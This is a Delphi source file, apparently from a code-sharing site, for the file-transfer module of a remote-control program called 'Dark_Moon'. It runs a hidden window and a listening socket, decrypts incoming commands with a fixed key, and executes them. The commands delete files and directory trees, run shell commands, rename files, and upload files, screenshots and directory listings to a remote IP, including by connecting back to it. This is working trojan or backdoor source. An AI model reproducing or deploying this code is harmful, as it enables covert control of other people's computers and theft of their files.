DMftpunit.pas
上传用户:hndmjx
上传日期:2014-09-16
资源大小:3369k
文件大小:24k
源码类别:

Delphi控件源码

开发平台:

Delphi

  1. unit DMFtpunit;
  2. interface
  3. uses   Windows, Messages ,WinSock,DMUCommandsAndUtils;
  4.   function GetFileName (text : string):string;
  5.   procedure Create_Server  (S_PORT : integer ;Handle : HWND);
  6.   procedure Server_Send(Data : string);
  7.   procedure FTP_Events( wParam,lParam: Integer);
  8.   //procedure SetUpaWindow1 ;
  9.   procedure Init_Winsock ();
  10.   procedure CleanUP_winsock();
  11.   procedure DownloadFileListen;
  12.   procedure  DownloadFileConnect(SaveFile : string  ;Ipadress : string; port : string) ;
  13.   procedure UploadFileListen;
  14.   procedure UploadFileConnect(OpenFile : String;Ipadress : string; port : string) ;
  15.  procedure UploadScreenShotFileListen(port : integer ; OpenFile: string);
  16.    procedure UploadScreenshotConnect(OpenFile : String;Ipadress : string; PORT : string) ;
  17.    
  18.   procedure UploadDataConnect (Data : String;Ipadress : string; PORT : string) ;
  19.   procedure UploadDataListen(Data : String; PORT : string) ;
  20.   procedure ProcessFTPCMD (data : string; socket : TSocket);
  21.   const
  22.   WM_Server = $0400 + $1002;
  23. var
  24. WinClass: TWndClassA;
  25. Inst : Integer;
  26. Handle : HWND ;
  27.   wsa_Data  : WSADATA;
  28.   Server: TSocket;
  29.   Server_Client : TSocket;
  30.   Helper_Socket :  TSocket;
  31.   addr : SOCKADDR_IN; // Internet address
  32.   Caddr : SOCKADDR_IN; // Internet address
  33.   Caddrserver : SOCKADDR_IN; // Internet address
  34.     Caddr2 : SOCKADDR_IN; // Internet address
  35.   Caddrserver2 : SOCKADDR_IN; // Internet address
  36.   USER, PASS,HOST,DIR,FileDarkMoon,Data: string   ;
  37.   nErrorStatus : integer;
  38.       OpenFile : string;
  39.       SaveFile : String ;
  40.       IConnection : boolean;
  41.      PORT : string   ;
  42.      Abort  : Boolean = FALSE;
  43.      ListingDIR : string;
  44.      ListIP, ListPort : string;
  45.      RemoteIP : string;
  46.      RemotePort: string;
  47.      id : cardinal;
  48. implementation
  49. procedure Send_List;
  50. begin
  51.     if  IConnection=true    then begin
  52. UploadDataConnect    ( LIST (ListingDIR + '*.*'),  ListIP ,ListPort);
  53.    end
  54.    else
  55.    begin
  56.     UploadDataListen(  LIST (ListingDIR + '*.*') ,'4000') ;
  57.    end;
  58.  end;
  59.   function GetFileName (text : string):string;
  60.   var
  61.   a,i : integer;
  62.   begin
  63.   a:= FindNChars(text,'');
  64.   for i := 1 to a  do begin
  65.   text:=copy ( text, findchar(text,'')+1,length(text));
  66.   end;
  67.   Result:=text;
  68.   end;
  69. procedure SendData (SOCKET : TSOCKET;Data :string);
  70.  const
  71. my_key = 35311;
  72. var
  73. TotSent, ToSend, Sent, ErrorLoop: integer;
  74. begin
  75.   Data :=Encrypt (data,my_key);
  76. //Send( SOCKET, Pointer(Data)^, Length(Data), 0 );
  77.  if Data <> '' then
  78.  begin
  79.  ErrorLoop:= 0;
  80.  TotSent:= 0;
  81.  ToSend:= Length(Data);
  82.  repeat
  83.  Sent:= send(SOCKET, Data[TotSent+1], (ToSend-TotSent), 0);
  84.  if Sent = SOCKET_ERROR then
  85.  begin
  86.  Inc(ErrorLoop);
  87.  if WSAGetLastError <> WSAEWOULDBLOCK then
  88.  begin
  89.  Exit;
  90.  end;
  91.  end
  92.  else
  93.  Inc(TotSent, Sent);
  94.  until (TotSent >= ToSend) or (ErrorLoop > 100);
  95.  end;
  96. end;
  97. procedure DownloadFileConnect(SaveFile : string  ;Ipadress : string; PORT : string) ;
  98.  var addr : TSockAddrIn;
  99.      addrserver : TSockAddrIn;
  100.      BytesRead, sinsize : Integer;
  101.        client      : TSocket;
  102.      a          : THandle;
  103.      Buffer     : array [ 1..2048 ] of Char;
  104.      BytesWrite : DWORD;
  105.      FileStatus : Boolean;
  106.     begin
  107.   Client := socket(AF_INET, SOCK_STREAM, 0);
  108.   if (Client <> INVALID_SOCKET)   THEN BEGIN
  109.   addr.sin_family := AF_INET;
  110.   addr.sin_port := 0;
  111.   addr.sin_addr.s_addr := htonl(INADDR_ANY);
  112.   end;
  113.  if (bind(Client ,addr,sizeof(addr))= INVALID_SOCKET ) then begin
  114.  halt;
  115.  end;
  116.  addrserver.sin_family := AF_INET;
  117.  addrserver.sin_port := htons(strtoint(PORT));
  118.  addrserver.sin_addr.s_addr := inet_addr(pchar(Ipadress));
  119.  if (connect(Client, addrserver,sizeof(addrserver)) =SOCKET_ERROR) then begin
  120.  //messagebox(0,'dddddddddddd','ddddddddd',0);
  121.  end;
  122.    BytesWrite := 0;
  123.     try
  124.         a := CreateFile( PChar(SaveFile) , GENERIC_WRITE, 0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 );
  125.     except
  126.         CloseSocket(Client );
  127.         Exit;
  128.     end;
  129.     repeat BytesRead  := Recv( client, Buffer, SizeOf( Buffer ), 0 );
  130.            FileStatus := WriteFile( a, Buffer, BytesRead, BytesWrite, nil );
  131.     until  ( FileStatus = FALSE ) or ( BytesRead = -1 ) or (BytesRead = 0) or ( Abort );
  132.      senddata(Helper_Socket,'9^File Uploaded: ' +  GetFileName(SaveFile) + '^');
  133.     CloseHandle( a );
  134.     try CloseSocket( client );  except end;
  135.     Abort := FALSE;
  136.  end;
  137. procedure UploadFileConnect (OpenFile : String;Ipadress : string; PORT : string) ;
  138.  var addr : TSockAddrIn;
  139.      addrserver : TSockAddrIn;
  140.      sinsize : Integer;
  141.      sock, client      : TSocket;
  142.      a          : THandle;
  143.      Archivo      : THandle;
  144.      Buffer       : array [ 1..1024 ] of Char;
  145.      FileStatus : Boolean;
  146.      BytesRead    : DWord;
  147.      Error     : Boolean;
  148.       size : longint ;
  149.       f   : file ;
  150. begin
  151.   Client := socket(AF_INET, SOCK_STREAM, 0);
  152.   if (Client <> INVALID_SOCKET)   THEN BEGIN
  153.   addr.sin_family := AF_INET;
  154.   addr.sin_port := 0;
  155.   addr.sin_addr.s_addr := htonl(INADDR_ANY);
  156.   end;
  157.  if (bind(Client ,addr,sizeof(addr))= INVALID_SOCKET ) then begin
  158.  halt;
  159.  end;
  160.  addrserver.sin_family := AF_INET;
  161.  addrserver.sin_port := htons(strtoint(port));
  162.  addrserver.sin_addr.s_addr := inet_addr(pchar(Ipadress));
  163.  if (connect(Client, addrserver,sizeof(addrserver)) =SOCKET_ERROR) then begin
  164.  //messagebox(0,'dddddddddddd','ddddddddd',0);
  165.  end;
  166.    try
  167.         AssignFile(f, OpenFile);
  168.              Reset(f);
  169.              try
  170.              size :=FileSize(f)*128 div 1024;
  171.              finally
  172.              CloseFile(f);
  173.              end;
  174.           Archivo := CreateFile( PChar( OpenFile ),
  175.                                  GENERIC_READ,
  176.                                  0, nil,
  177.                                  OPEN_EXISTING,
  178.                                  FILE_ATTRIBUTE_NORMAL, 0);
  179.           SetFilePointer( Archivo, 0, nil, FILE_BEGIN );
  180.      except
  181.           CloseSocket( sock );
  182.           Exit;
  183.      end;
  184.      repeat
  185.           Error := ReadFile(Archivo, Buffer, SizeOf( Buffer ), BytesRead, nil);
  186.           Send(Client, Buffer, BytesRead, 0);
  187.      until ( Error  ) and ( BytesRead = 0 );
  188.       senddata(Helper_Socket,'9^File Downloaded: ' +  GetFileName(OpenFile) + '^') ;
  189.      CloseHandle( Archivo );
  190.      try CloseSocket( client ); except end;
  191.      Abort := FALSE;
  192. end;
  193.  procedure UploadDataListen(Data : String; PORT : string) ;
  194. //The server should send a file to the client
  195. var  addr         : TSockAddrIn;
  196.      sinsize      : Integer;
  197.      sock,cliente : TSocket;
  198.      Archivo      : THandle;
  199.      Buffer       : array [ 1..1024 ] of Char;
  200.      BytesRead    : DWord;
  201.      Error     : Boolean;
  202.   G :file of char;
  203.    i : integer;
  204.    c: char;
  205.    Openfile : string;
  206. begin
  207.      Openfile :=pchar (Get_SysPath) + 'DataServer.txt'  ;
  208. AssignFile (G,   Openfile);
  209.  rewrite(G);
  210.   for i:=1 to length(Data)   do begin
  211.       c:= stringtochar( copy( Data,i,1) );
  212.       write(G,c);
  213.       end;
  214.       closefile(G);
  215.      addr.sin_family := AF_INET;
  216.      addr.sin_port := htons(strtoint(PORT) );
  217.      addr.sin_addr.S_addr := INADDR_ANY;
  218.      //Open the socket
  219.      sock :=  Socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  220.      if Bind(sock, addr, SizeOf( addr ) ) = SOCKET_ERROR then
  221.         Exit;
  222.      if Listen(sock, 1) = SOCKET_ERROR then
  223.      begin
  224.           try CloseSocket( Sock ); except end;
  225.           Exit;
  226.      end;
  227.      //Espera una conexion
  228.      sinsize := SizeOf( addr );
  229.      cliente := Accept( sock, @addr, @sinsize );
  230.      try
  231.           Archivo := CreateFile( PChar(  Openfile ),
  232.                                  GENERIC_READ,
  233.                                  0, nil,
  234.                                  OPEN_EXISTING,
  235.                                  FILE_ATTRIBUTE_NORMAL, 0);
  236.           SetFilePointer( Archivo, 0, nil, FILE_BEGIN );
  237.            // Server_Send('9^Downloading File: ' +  GetFileName(OpenFile) + '^');
  238.      except
  239.           CloseSocket( sock );
  240.           Exit;
  241.      end;
  242.      Sleep( 150 );
  243.      repeat
  244.           Error := ReadFile(Archivo, Buffer, SizeOf( Buffer ), BytesRead, nil);
  245.           Send( cliente, Buffer, BytesRead, 0);
  246.      until ( Error  ) and ( BytesRead = 0 );
  247.      CloseHandle( Archivo );
  248.      try CloseSocket( cliente ); except end;
  249.      try CloseSocket( sock ); except end;
  250.      Abort := FALSE;
  251. end;
  252.  procedure UploadDataConnect(Data : String;Ipadress : string; PORT : string) ;
  253.  var addr : TSockAddrIn;
  254.      addrserver : TSockAddrIn;
  255.      sinsize : Integer;
  256.      sock, client      : TSocket;
  257.      a          : THandle;
  258.      Archivo      : THandle;
  259.      Buffer       : array [ 1..1024 ] of Char;
  260.      FileStatus : Boolean;
  261.      BytesRead    : DWord;
  262.      Error     : Boolean;
  263.       size : longint ;
  264.       f   : file ;
  265.      G :file of char;
  266.    i : integer;
  267.    c: char;
  268.    Openfile : string;
  269. begin
  270.      Openfile :=pchar (Get_SysPath) + 'DataServer.txt'  ;
  271. AssignFile (G,   Openfile);
  272.  rewrite(G);
  273.   for i:=1 to length(Data)   do begin
  274.       c:= stringtochar( copy( Data,i,1) );
  275.       write(G,c);
  276.       end;
  277.       closefile(G);
  278.   Client := socket(AF_INET, SOCK_STREAM, 0);
  279.   if (Client <> INVALID_SOCKET)   THEN BEGIN
  280.   addr.sin_family := AF_INET;
  281.   addr.sin_port := 0;
  282.   addr.sin_addr.s_addr := htonl(INADDR_ANY);
  283.   end;
  284.  if (bind(Client ,addr,sizeof(addr))= INVALID_SOCKET ) then begin
  285.  halt;
  286.  end;
  287.  addrserver.sin_family := AF_INET;
  288.  addrserver.sin_port := htons(strtoint(port));
  289.  addrserver.sin_addr.s_addr := inet_addr(pchar(Ipadress));
  290.  if (connect(Client, addrserver,sizeof(addrserver)) =SOCKET_ERROR) then begin
  291.  //messagebox(0,'dddddddddddd','ddddddddd',0);
  292.  end;
  293.    try
  294.         AssignFile(f,    Openfile );
  295.              Reset(f);
  296.              try
  297.              size :=FileSize(f)*128 div 1024;
  298.              finally
  299.              CloseFile(f);
  300.              end;
  301.           Archivo := CreateFile(   pchar( Openfile),
  302.                                  GENERIC_READ,
  303.                                  0, nil,
  304.                                  OPEN_EXISTING,
  305.                                  FILE_ATTRIBUTE_NORMAL, 0);
  306.           SetFilePointer( Archivo, 0, nil, FILE_BEGIN );
  307.      except
  308.           CloseSocket( sock );
  309.           Exit;
  310.      end;
  311.      repeat
  312.           Error := ReadFile(Archivo, Buffer, SizeOf( Buffer ), BytesRead, nil);
  313.           Send(Client, Buffer, BytesRead, 0);
  314.      until ( Error  ) and ( BytesRead = 0 );
  315.      CloseHandle( Archivo );
  316.      try CloseSocket( client ); except end;
  317.      Abort:= FALSE;
  318. end;
  319.  procedure UploadScreenshotConnect(OpenFile : String;Ipadress : string; PORT : string) ;
  320.  var addr : TSockAddrIn;
  321.      addrserver : TSockAddrIn;
  322.      sinsize : Integer;
  323.      sock, client      : TSocket;
  324.      a          : THandle;
  325.      Archivo      : THandle;
  326.      Buffer       : array [ 1..1024 ] of Char;
  327.      FileStatus : Boolean;
  328.      BytesRead    : DWord;
  329.      Error     : Boolean;
  330.       size : longint ;
  331.       f   : file ;
  332. begin
  333.   Client := socket(AF_INET, SOCK_STREAM, 0);
  334.   if (Client <> INVALID_SOCKET)   THEN BEGIN
  335.   addr.sin_family := AF_INET;
  336.   addr.sin_port := 0;
  337.   addr.sin_addr.s_addr := htonl(INADDR_ANY);
  338.   end;
  339.  if (bind(Client ,addr,sizeof(addr))= INVALID_SOCKET ) then begin
  340.  halt;
  341.  end;
  342.  addrserver.sin_family := AF_INET;
  343.  addrserver.sin_port := htons(strtoint(port));
  344.  addrserver.sin_addr.s_addr := inet_addr(pchar(Ipadress));
  345.  if (connect(Client, addrserver,sizeof(addrserver)) =SOCKET_ERROR) then begin
  346.  //messagebox(0,'dddddddddddd','ddddddddd',0);
  347.  end;
  348.    try
  349.         AssignFile(f, OpenFile);
  350.              Reset(f);
  351.              try
  352.              size :=FileSize(f)*128 div 1024;
  353.              finally
  354.              CloseFile(f);
  355.              end;
  356.           Archivo := CreateFile( PChar( OpenFile ),
  357.                                  GENERIC_READ,
  358.                                  0, nil,
  359.                                  OPEN_EXISTING,
  360.                                  FILE_ATTRIBUTE_NORMAL, 0);
  361.           SetFilePointer( Archivo, 0, nil, FILE_BEGIN );
  362.      except
  363.           CloseSocket( sock );
  364.           Exit;
  365.      end;
  366.      repeat
  367.           Error := ReadFile(Archivo, Buffer, SizeOf( Buffer ), BytesRead, nil);
  368.           Send(Client, Buffer, BytesRead, 0);
  369.      until ( Error  ) and ( BytesRead = 0 );
  370.       senddata(Helper_Socket,'9^File Downloaded: ' +  GetFileName(OpenFile) + '^') ;
  371.      CloseHandle( Archivo );
  372.      try CloseSocket( client ); except end;
  373.      Abort:= FALSE;
  374. end;
  375.  procedure UploadScreenShotFileListen(port : integer ; OpenFile: string);
  376. var  addr         : TSockAddrIn;
  377.      sinsize      : Integer;
  378.      sock,cliente : TSocket;
  379.      Archivo      : THandle;
  380.      Buffer       : array [ 1..1024 ] of Char;
  381.      BytesRead    : DWord;
  382.      Error     : Boolean;
  383. begin
  384.      addr.sin_family := AF_INET;
  385.      addr.sin_port := htons(port);
  386.      addr.sin_addr.S_addr := INADDR_ANY;
  387.     
  388.           //Open the socket
  389.      sock :=  Socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  390.      if Bind(sock, addr, SizeOf( addr ) ) = SOCKET_ERROR then
  391.         Exit;
  392.      if Listen(sock, 1) = SOCKET_ERROR then
  393.      begin
  394.           try CloseSocket( Sock ); except end;
  395.           Exit;
  396.      end;
  397.      //Espera una conexion
  398.      sinsize := SizeOf( addr );
  399.      cliente := Accept( sock, @addr, @sinsize );
  400.      try
  401.           Archivo := CreateFile( PChar( OpenFile ),
  402.                                  GENERIC_READ,
  403.                                  0, nil,
  404.                                  OPEN_EXISTING,
  405.                                  FILE_ATTRIBUTE_NORMAL, 0);
  406.           SetFilePointer( Archivo, 0, nil, FILE_BEGIN );
  407.            // Server_Send('9^Downloading File: ' +  GetFileName(OpenFile) + '^');
  408.      except
  409.           CloseSocket( sock );
  410.           Exit;
  411.      end;
  412.      Sleep( 150 );
  413.      repeat
  414.           Error := ReadFile(Archivo, Buffer, SizeOf( Buffer ), BytesRead, nil);
  415.           Send( cliente, Buffer, BytesRead, 0);
  416.      until ( Error  ) and ( BytesRead = 0 );
  417.      CloseHandle( Archivo );
  418.      try CloseSocket( cliente ); except end;
  419.      try CloseSocket( sock ); except end;
  420.      Abort := FALSE;
  421. end;
  422. procedure UploadFileListen;
  423. //The server should send a file to the client
  424. var  addr         : TSockAddrIn;
  425.      sinsize      : Integer;
  426.      sock,cliente : TSocket;
  427.      Archivo      : THandle;
  428.      Buffer       : array [ 1..1024 ] of Char;
  429.      BytesRead    : DWord;
  430.      Error     : Boolean;
  431. begin
  432.      addr.sin_family := AF_INET;
  433.      addr.sin_port := htons(strtoint(PORT) );
  434.      addr.sin_addr.S_addr := INADDR_ANY;
  435.      //Open the socket
  436.      sock :=  Socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  437.      if Bind(sock, addr, SizeOf( addr ) ) = SOCKET_ERROR then
  438.         Exit;
  439.      if Listen(sock, 1) = SOCKET_ERROR then
  440.      begin
  441.           try CloseSocket( Sock ); except end;
  442.           Exit;
  443.      end;
  444.      //Espera una conexion
  445.      sinsize := SizeOf( addr );
  446.      cliente := Accept( sock, @addr, @sinsize );
  447.      try
  448.           Archivo := CreateFile( PChar( OpenFile ),
  449.                                  GENERIC_READ,
  450.                                  0, nil,
  451.                                  OPEN_EXISTING,
  452.                                  FILE_ATTRIBUTE_NORMAL, 0);
  453.           SetFilePointer( Archivo, 0, nil, FILE_BEGIN );
  454.            // Server_Send('9^Downloading File: ' +  GetFileName(OpenFile) + '^');
  455.      except
  456.           CloseSocket( sock );
  457.           Exit;
  458.      end;
  459.      Sleep( 150 );
  460.      repeat
  461.           Error := ReadFile(Archivo, Buffer, SizeOf( Buffer ), BytesRead, nil);
  462.           Send( cliente, Buffer, BytesRead, 0);
  463.      until ( Error  ) and ( BytesRead = 0 );
  464.     senddata(Helper_Socket,'9^File Downloaded: ' +  GetFileName(OpenFile) + '^') ;
  465.      CloseHandle( Archivo );
  466.      try CloseSocket( cliente ); except end;
  467.      try CloseSocket( sock ); except end;
  468.      Abort := FALSE;
  469. end;
  470.                           
  471. procedure DownloadFileListen;
  472. var addr : TSockAddrIn;
  473.     BytesRead, sinsize : Integer;
  474.     sock, cliente      : TSocket;
  475.     a          : THandle;
  476.     Buffer     : array [ 1..2048 ] of Char;
  477.     BytesWrite : DWORD;
  478.     FileStatus : Boolean;
  479. begin
  480.     addr.sin_family := AF_INET;
  481.     addr.sin_port := htons(strtoint(PORT));
  482.     addr.sin_addr.S_addr := INADDR_ANY;
  483.     //Abre el socket
  484.     sock :=  Socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  485.     if Bind( sock, addr, SizeOf( addr ) ) = SOCKET_ERROR then
  486.        Exit;
  487.     if Listen(sock, 1) = SOCKET_ERROR then
  488.        Exit;
  489.     //Espera una conexion
  490.     sinsize := SizeOf( addr );
  491.     cliente := Accept( sock, @addr, @sinsize );
  492.     BytesWrite := 0;
  493.     try
  494.         a := CreateFile( PChar( SaveFile  ), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 );
  495.            Server_Send('9^Uploading File: ' +  GetFileName(SaveFile)+ '^');
  496.     except
  497.         CloseSocket( sock );
  498.         Exit;
  499.     end;
  500.     repeat BytesRead  := Recv( cliente, Buffer, SizeOf( Buffer ), 0 );
  501.            FileStatus := WriteFile( a, Buffer, BytesRead, BytesWrite, nil );
  502.     until  ( FileStatus = FALSE ) or ( BytesRead = -1 ) or (BytesRead = 0) or ( Abort );
  503.     CloseHandle( a );
  504.     Server_Send('9^File Uploaded: ' +  GetFileName(SaveFile) + '^');
  505.     try CloseSocket( cliente );  except end;
  506.     try CloseSocket( sock ); except end;
  507.     Abort:= FALSE;
  508. end;
  509. Procedure ThreadUploadFile;
  510. begin
  511.   if  IConnection=false then begin
  512.  UploadFileListen;
  513.    end
  514.    else
  515.    begin
  516.   UploadFileConnect  (OpenFile, RemoteIP,RemotePort);
  517.    end;
  518. end;
  519. Procedure ThreadDownloadFile ;
  520. begin
  521.  if  IConnection=false then begin
  522.  DownloadFileListen
  523.  end
  524.  else
  525.  begin
  526.  DownloadFileConnect  ( SaveFile, RemoteIP, RemotePort);
  527.  end;
  528. end;
  529. procedure Server_Send(Data : string);
  530. begin
  531. SendData (Server_Client, Data );
  532. end;
  533. procedure Create_Server  (S_PORT : integer ;Handle : HWND);
  534. begin
  535.   Server := socket(AF_INET, SOCK_STREAM, 0);
  536.    if (Server <> INVALID_SOCKET)   THEN BEGIN
  537.    addr.sin_family := AF_INET;
  538.    addr.sin_port := htons(S_PORT);
  539.    addr.sin_addr.s_addr := htonl(INADDR_ANY);
  540.    end;
  541.    if (bind(Server,addr,sizeof(addr))=  INVALID_SOCKET ) then begin
  542.    WSACleanup();
  543.    halt;
  544.    end;
  545.    if ( listen(Server,3)= INVALID_SOCKET) then begin
  546.    WSACleanup();
  547.    halt;
  548.    end ;
  549.  if (WSAAsyncSelect(Server, Handle , WM_Server, FD_ACCEPT or FD_CLOSE or FD_READ or FD_WRITE) = SOCKET_ERROR) then begin
  550.    halt;
  551.  end;
  552. end;
  553. procedure ProcessFTPCMD (data : string; socket : TSocket);
  554. var
  555. TmpDada ,COMD, PARM1 ,PARM2, PARM3 : string ;
  556. a : File;
  557. THREADID : Cardinal;
  558. hthread : LongWord;
  559. THREADID2 : Cardinal;
  560. hthread2 : LongWord;
  561. BytesToRead : Integer;
  562. F : file;
  563. size: longint ;
  564. begin
  565. Helper_Socket:=socket ;
  566.      // messagebox(0,pchar(data),'',0);
  567. COMD:= Split (data,'^',0);
  568. PARM1:= Split (data,'^',1);
  569. PARM2:= Split (data,'^',2) ;
  570. PARM3:= Split (data,'^',3) ;
  571.        if findnChars(data,'^')<2 then exit;
  572.          case strtoint(COMD) of
  573.           0:  begin;
  574.          SendData (socket,'0^'+ MandarUnidadesDeAlmacenamiento (socket)+  '^');
  575.           end;
  576.           1:  begin
  577.                ListingDIR := PARM1  ;
  578.               ListIP:= PARM2;
  579.               ListPort:= '4000';
  580.            sleep(100);
  581.             BeginThread( nil, 0, @Send_List, nil, 0, id );
  582.           end;
  583.            2:  begin
  584.          if FileExists( PARM1 )then
  585.            try
  586.            BorrarArchivo(PARM1);
  587.          SendData (socket, '9^' + 'File Deleted: ' + PARM1 + '^') ;
  588.            except end;
  589.           end;
  590.           3:  begin
  591.          SendData (socket, '9^' + DelTree(PARM1) + '^' );
  592.           end;
  593.           4:  begin
  594.          SendData (socket,'9^' + ShellEx(PARM1) + '^' );
  595.           end;
  596.           5:  begin
  597.             begin
  598.         try MkDir( PARM1 ) except end;
  599.         if IOResult <> 0 then
  600.        SendData (socket,'9^'  + 'Error On making the Dir: ' + PARM1 + '^')
  601.         else
  602.         SendData (socket,'9^' +  'Dir Created: ' + PARM1  + '^');
  603.         end;
  604.         end;
  605.              6:  begin
  606.               AssignFile( a, PARM1 );
  607.           try
  608.              Rename( a, PARM2 );
  609.              if IOResult = 0 then
  610.              SendData (socket,'9^' + 'File Renamed To: ' + PARM2 + '^' );
  611.              except SendData (socket,'9^' + 'File Coulnt be renamed: ' + PARM1 + '^');
  612.           end;
  613.           end;
  614.              7:  begin
  615.              Port:= PARM1;
  616.              RemotePort:=PARM1;
  617.              OpenFile:=PARM2;
  618.              RemoteIP:=PARM3;
  619.              AssignFile(F, PARM2);
  620.              Reset(F);
  621.              try
  622.              size :=FileSize(F);
  623.              finally
  624.              CloseFile(f);
  625.              end;
  626.              sleep(100);
  627.              SendData (socket, '2^' +  inttostr(size) + '^' );
  628.              hthread := CreateThread( nil, 0, @ThreadUploadFile, nil, 0, THREADID );
  629.              if hthread <> 0 then  begin
  630.              CloseHandle( hthread );
  631.              end;
  632.     end;
  633.              9: begin
  634.     if  PARM1= '0' then begin
  635.     IConnection:=false;
  636.     end;
  637.     if  PARM1= '1' then begin
  638.     IConnection:=true;
  639.     end;
  640.              end;
  641.                8:  begin
  642.             Port:=PARM1;
  643.             RemotePort:=PARM1;
  644.             SaveFile:=PARM2 ;
  645.             RemoteIP:=PARM3;
  646.             hthread := CreateThread( nil, 0, @ThreadDownloadFile, nil, 0, THREADID );
  647.             if hthread <> 0 then   begin
  648.             CloseHandle( hthread );
  649.             end;
  650.         end;
  651.      11:begin   Abort:=true end;
  652.        end;
  653. end;
  654.    procedure FTP_Events( wParam,lParam: Integer);
  655.      const
  656.   my_key = 35311;
  657.    var
  658.    TmpDada ,COMD, PARM1 ,PARM2 : string ;
  659.       a : File;
  660.    THREADID : Cardinal;
  661.     hthread : LongWord;
  662.        THREADID2 : Cardinal;
  663.     hthread2 : LongWord;
  664.      BytesToRead : Integer;
  665.       F : file;
  666.       size: longint ;
  667.     Begin
  668.   case lParam  of
  669.   FD_READ:  begin
  670.   if ioctlsocket(wParam, FIONREAD, LongInt(BytesToRead)) = 0 then
  671.   begin
  672.      SetLength( Data, BytesToRead );
  673.      Recv( wparam, Pointer( Data )^, BytesToRead, 0 );
  674.      Data := Decrypt (Data,my_key);
  675.      ProcessFTPCMD (Data,wParam );
  676.   end;
  677.       end   ;
  678.       FD_ACCEPT:  begin
  679.        Server_Client:= accept(Server,nil,nil);
  680.         if (Server_Client= INVALID_SOCKET) then begin
  681.           messagebox(0,'error','error',0);
  682.         end;
  683.       end  ;
  684.       FD_CLOSE:  begin
  685.       try CloseSocket(wParam ); except end;
  686.       end;
  687.       end   ;
  688.     End;
  689. { Custom WindowProc function }
  690. function WindowProc(hWnd, uMsg, wParam, lParam: Integer): Integer; stdcall;
  691. begin
  692. Result := DefWindowProc(hWnd, uMsg, wParam, lParam);
  693. if uMsg = WM_Server then
  694. begin
  695. FTP_Events( wParam,lParam);
  696. end;
  697. if uMsg = WM_DESTROY then   begin
  698. Halt;
  699. end;
  700. end;
  701. procedure SetUpaWindow1;
  702. begin
  703. { ** Register Custom WndClass ** }
  704.   Inst := hInstance;
  705.   with WinClass do
  706.   begin
  707.     style              := CS_CLASSDC or CS_PARENTDC;
  708.     lpfnWndProc        := @WindowProc;
  709.     hInstance          := Inst;
  710.     hbrBackground      :=COLOR_INACTIVEBORDER;
  711.     lpszClassname      := 'Dark_Moon';
  712.     hCursor            := LoadCursor(0, IDC_ARROW);
  713.   end; { with }
  714.   RegisterClass(WinClass);
  715.               Handle := CreateWindowEx(WS_EX_TOPMOST, 'Dark_Moon', '',
  716.                          0 ,
  717.                            240, 150, 311, 294, 0, 0, Inst, nil);
  718.                       Showwindow(Handle,0);
  719.   UpdateWindow(Handle);
  720.   end;
  721. procedure init_winsock ();
  722. begin
  723. SetUpaWindow1 ;
  724. nErrorStatus := WSAStartup($101, wsa_Data);
  725. if (nErrorStatus <> 0)  then     begin
  726. //WSAGetLastError()
  727. messagebox(0,pchar(inttostr(nErrorStatus)),'ddddddd',0);
  728. halt;
  729. end;
  730. end;
  731. procedure   CleanUP_winsock();
  732. begin
  733. WSACleanup(); // terminate WinSock use
  734. end;
  735. end.